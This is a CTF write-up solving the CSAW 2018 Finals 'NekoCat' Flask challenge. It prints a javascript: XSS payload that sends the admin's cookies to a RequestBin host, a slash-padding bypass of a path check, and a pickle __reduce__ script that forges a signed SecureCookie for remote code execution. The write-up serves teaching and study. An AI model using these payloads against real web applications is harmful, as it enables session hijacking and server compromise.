# ForwardThis is a write-up for one of the web challenges (500 pts) at the CSAW CTF Finals 2018.
# BackgroundI participated under the team Mad H@tters, and represented the GreyHat club at Georgia Tech. This challenge involved leveraging XSS to obtain a secret key so you could create your own cookies and exploit an python pickle RCE to obtain the flag. It was a very challenging problem and I learned a lot solving it. I hope others will learn a lot as well reading this write-up.
# Challenge> Flag is in /flag.txt> > http://web.chal.csaw.io:1003> > Files> > [flagon.zip](https://ctf.csaw.io/files/5d0977e48372db7e81cbf84752a4c511/flagon.zip)
The website is similar to twitter, where users can create and send posts about whatever they want, and everyone else can see them in one complete feed. 
![Imgur](https://i.imgur.com/KoROMvT.png)
Looking at the zip, we see it's the complete source code of the website, and that it's running the Flask web framework. We see some interesting information in [flagon.py](https://github.com/DDOS-Attacks/ctf-writeups/blob/master/2018/CSAW%20CTF%202018%20Finals/Web/NekoCat/flagon/flagon.py):
```pythonSECRET_KEY = os.environ.get("FLAGON_SECRET_KEY", "")
...
class Request(BaseRequest):    @cached_property    def session(self):        data = self.cookies.get("session_data")        if not data:            return SecureCookie(secret_key=SECRET_KEY)        return SecureCookie.unserialize(data, SECRET_KEY)```
# SecureCookieThe application has a `SECRET_KEY` that it uses to create SecureCookie's. The first thing we need to do is figure out how to get the `SECRET_KEY` so we can sign our own cookies. Once we can sign our own cookies, we can utilize an RCE to get the flag. Because SecureCookie uses [pickle](https://docs.python.org/3/library/pickle.html) by default for serialization, we can exploit the deserialization to execute python code. For more information about python pickle deserialization vulnerabilities, you can visit this [link](https://crowdshield.com/blog.php?name=exploiting-python-deserialization-vulnerabilities).
```pythondef flagoninfo(request):    if request.remote_addr != "127.0.0.1":        return render_template("404.html")
    info = {        "system": " ".join(os.uname()),        "env": str(os.environ)    }
    return render_template("flaginfo.html", info_dict=info)
class Flagon(object):    def __init__(self, name): self.name = name        self.url_map = Map([])
        self.routes = {}        self.wsgi_app = SharedDataMiddleware(self.wsgi_app, {            '/static': os.path.join(os.getcwd(), 'static')        })
        flaginfo_route = "/flaginfo"        self.routes[flaginfo_route] = flagoninfo        self.url_map.add(Rule(flaginfo_route, endpoint=flaginfo_route))````In order to get the value of SECRET_KEY, we have to be able to access http://web.chal.csaw.io:1003/flaginfo. Trying to directly access it returns a 404, which makes sense because according to the source code, we can only view the webpage if our ip address is `127.0.0.1` or localhost. Obviously we aren't localhost, so we need to find a different approach.
# XSS
In [app.py](https://github.com/DDOS-Attacks/ctf-writeups/blob/master/2018/CSAW%20CTF%202018%20Finals/Web/NekoCat/app.py), we see the following:
```python@app.route('/report')@apply_cspdef report(request):    #: neko checks for naughtiness    #: neko likes links    pass```
This implies that there's some "admin" that automatically will click on any links we have in our post. With these type of problems, you normally want to exploit some type of XSS vulnerability so you can steal an admin's cookies. Normally with XSS vulnerability, you have to be able to inject some javascript into an html tag, but in this question we can only control a link. However, if we look at the csp, there's a way to achieve XSS with only a link:
```pythondef apply_csp(f):    @wraps(f)    def decorated_func(*args, **kwargs):        resp = f(*args, **kwargs)        csp = "; ".join([                "default-src 'self' 'unsafe-inline'",                "style-src " + " ".join(["'self'",                                         "*.bootstrapcdn.com",                                         "use.fontawesome.com"]),                "font-src " + "use.fontawesome.com",                "script-src " + " ".join(["'unsafe-inline'",                                          "'self'",                                          "cdnjs.cloudflare.com",                                          "*.bootstrapcdn.com",                                          "code.jquery.com"]),                "connect-src " + "*"              ])        resp.headers["Content-Security-Policy"] = csp
        return resp    return decorated_func```
For `script-src`, we see that `unsafe-inline` is allowed. Looking at [this](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src) link, it explains what `unsafe-inline` means:
```'unsafe-inline'Allows the use of inline resources, such as inline <script> elements, javascript: URLs, inline event handlers, and inline <style> elements. You must include the single quotes.```
We can use `javascript:` URLs to leverage XSS! A `javascript:` URL will allow us to execute javascript, so we can obtain the admin's cookies. For example if our url was this:
```javascriptjavascript:document.location='http://www.google.com/'```
# Obtaining the admin's cookiesAnd the admin clicks on that link, then he would be redirected to www.google.com! Now we construct our own link to steal the admin's cookies. The payload is as follows:
```javascriptjavascript:document.location="http://requestbin.fullcontact.com/zfbxyqzf?"+document.cookie```
![Imgur](https://i.imgur.com/JKVQiIv.png)
RequestBin is a simple site to log HTTP requests, so we can use the service to log the request the admin makes when he clicks on the link, to steal his cookies. AFter creating our post, all we need to do is click on the report link and watch the magic happen.
![Imgur](https://i.imgur.com/KEb29NL.png)
We have successfully obtained the admin's cookies, but what do we do with this now? Also take note of the value of the `Referer` header:
```Referer: http://127.0.0.1:5000/post?id=20809&instance=cf665777-b943-42ad-bf5e-332f8fc7d2ed```
The ip address is `127.0.0.1`! This means the admin is running localhost, so we can abuse this to access `/flaginfo`! Looking at [app.py](https://github.com/DDOS-Attacks/ctf-writeups/blob/master/2018/CSAW%20CTF%202018%20Finals/Web/NekoCat/app.py) again:
```pythondef get_post_preview(url):    scheme, netloc, path, query, fragment = url_parse(url)
    # No oranges allowed    if scheme != 'http' and scheme != 'https':        return None
    if '..' in path:        return None
    if path.startswith('/flaginfo'):        return None
    try:        r = requests.get(url, allow_redirects=False)    except Exception:        return None
    soup = BeautifulSoup(r.text, 'html.parser')    if soup.body:        result = ''.join(soup.body.findAll(text=True)).strip()        result = ' '.join(result.split())        return result[:280]
    return None```# Accessing /flaginfo and obtaining SECRET_KEYUsing the `get_post_preview` function, if the link is `http://127.0.0.1:5000/flaginfo`, then we can access the value of `SECRET_KEY`! However looking at the `newpost` function:
```python@app.route('/newpost')@login_required@apply_cspdef newpost(request):    post = request.form.get('submission-text')    if (len(post) > 280):        return redirect('/')
    preview = None    link = None
    for word in post.split(' '):        if word.startswith('[link]'):            link = " ".join(word.split('[link]')[1:]).strip()            if verified_user(session, request.session.get('username'))[0]:                preview = get_post_preview(link)            link = link            break
    post = post.replace('[link]', '')
    add_post(session, request.session.get('username'), post, link, preview)
    return redirect('/')```
It seems we have to be a `verified_user` in order to use the `get_post_preview` function. Thankfully, the admin is a verified user! Using the admin's cookies we just stole, we can login as admin and then make a post with the `/flaginfo` link and obtain the value of `SECRET_KEY`. Using the cookie value we had before:
```session_data="/V38m03gQsL5Q3kswHnyy6dDHUM=?name=gANYCAAAAE5la28gQ2F0cQAu&username=gANYDQAAAG1lb3dfY2Y2NjU3NzdxAC4="```
We can replace the current value of our `session_data` cookie with this value, and if we reload the page, we're logged in as the admin!
![Imgur](https://i.imgur.com/CFpWEz8.png)
Now we create a post with `http://127.0.0.1:5000///flaginfo` and obtain the value of `SECRET_KEY`. Why are there 3 slashes instead of one in our URL? Because of this check:
```pythonif path.startswith('/flaginfo'):    return None```
The `path` variable will contain the part of our URL after `http://127.0.0.1:5000`, therefore by injecting more slashes than one, we don't change the actual URL when it's resolved, but it will change the value of `path` when parsing our URL so we can bypass the check. (Theoretically 2 slashes should work, but for some reason I had success with 3 and not 2).
![Imgur](https://i.imgur.com/gOfFJsJ.png)# Python pickle RCE to obtain flagWith our newly created post, we have obtained the value of `SECRET_KEY` as `superdupersecretflagonkey`. We can now sign our own cookies and do an RCE to get our flag. To generate the cookie, we will use this code (note the `username` is the username of the admin that we are logged in as, although it really doesn't matter):
```pythonimport osimport subprocess
from werkzeug.contrib.securecookie import SecureCookie
class RCE(object):    def __reduce__(self):        return (subprocess.check_output, (['cat','flag.txt'],))
SECRET_KEY = 'superdupersecretflagonkey'
payload = {'name': RCE() , 'username': 'meow_cf665777'}
x = SecureCookie(payload, SECRET_KEY)
value = x.serialize()print(value)```
We get the ouptut as:
```FbFYqFStc9FXQBRsRz/NJHQO01c=?name=Y3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CnAwCigobHAxClMnY2F0JwpwMgphUydmbGFnLnR4dCcKcDMKYXRwNApScDUKLg==&username=UydtZW93X2NmNjY1Nzc3JwpwMAou```
Setting this as our new `session_data` cookie gets us the flag.
![Imgur](https://i.imgur.com/3ibPmKI.png)
Flag:`flag{werks_on_my_box}`
# Tips and TricksThis is just a list of tips and tricks when trying to tackle web problems like this.
1. Based on the source code given, the website was hosted using Flask. This is a common Python web framework that's used it a lot of CTFs, and most challenges related to Flask have to do with the cookies, so that should be the first place to look. 
2. Any challenge that involves some sort of "report" feature or "administrator" probably will involve XSS.
3. Similiarly if the Python pickle library is used, there's probably some RCE involved.
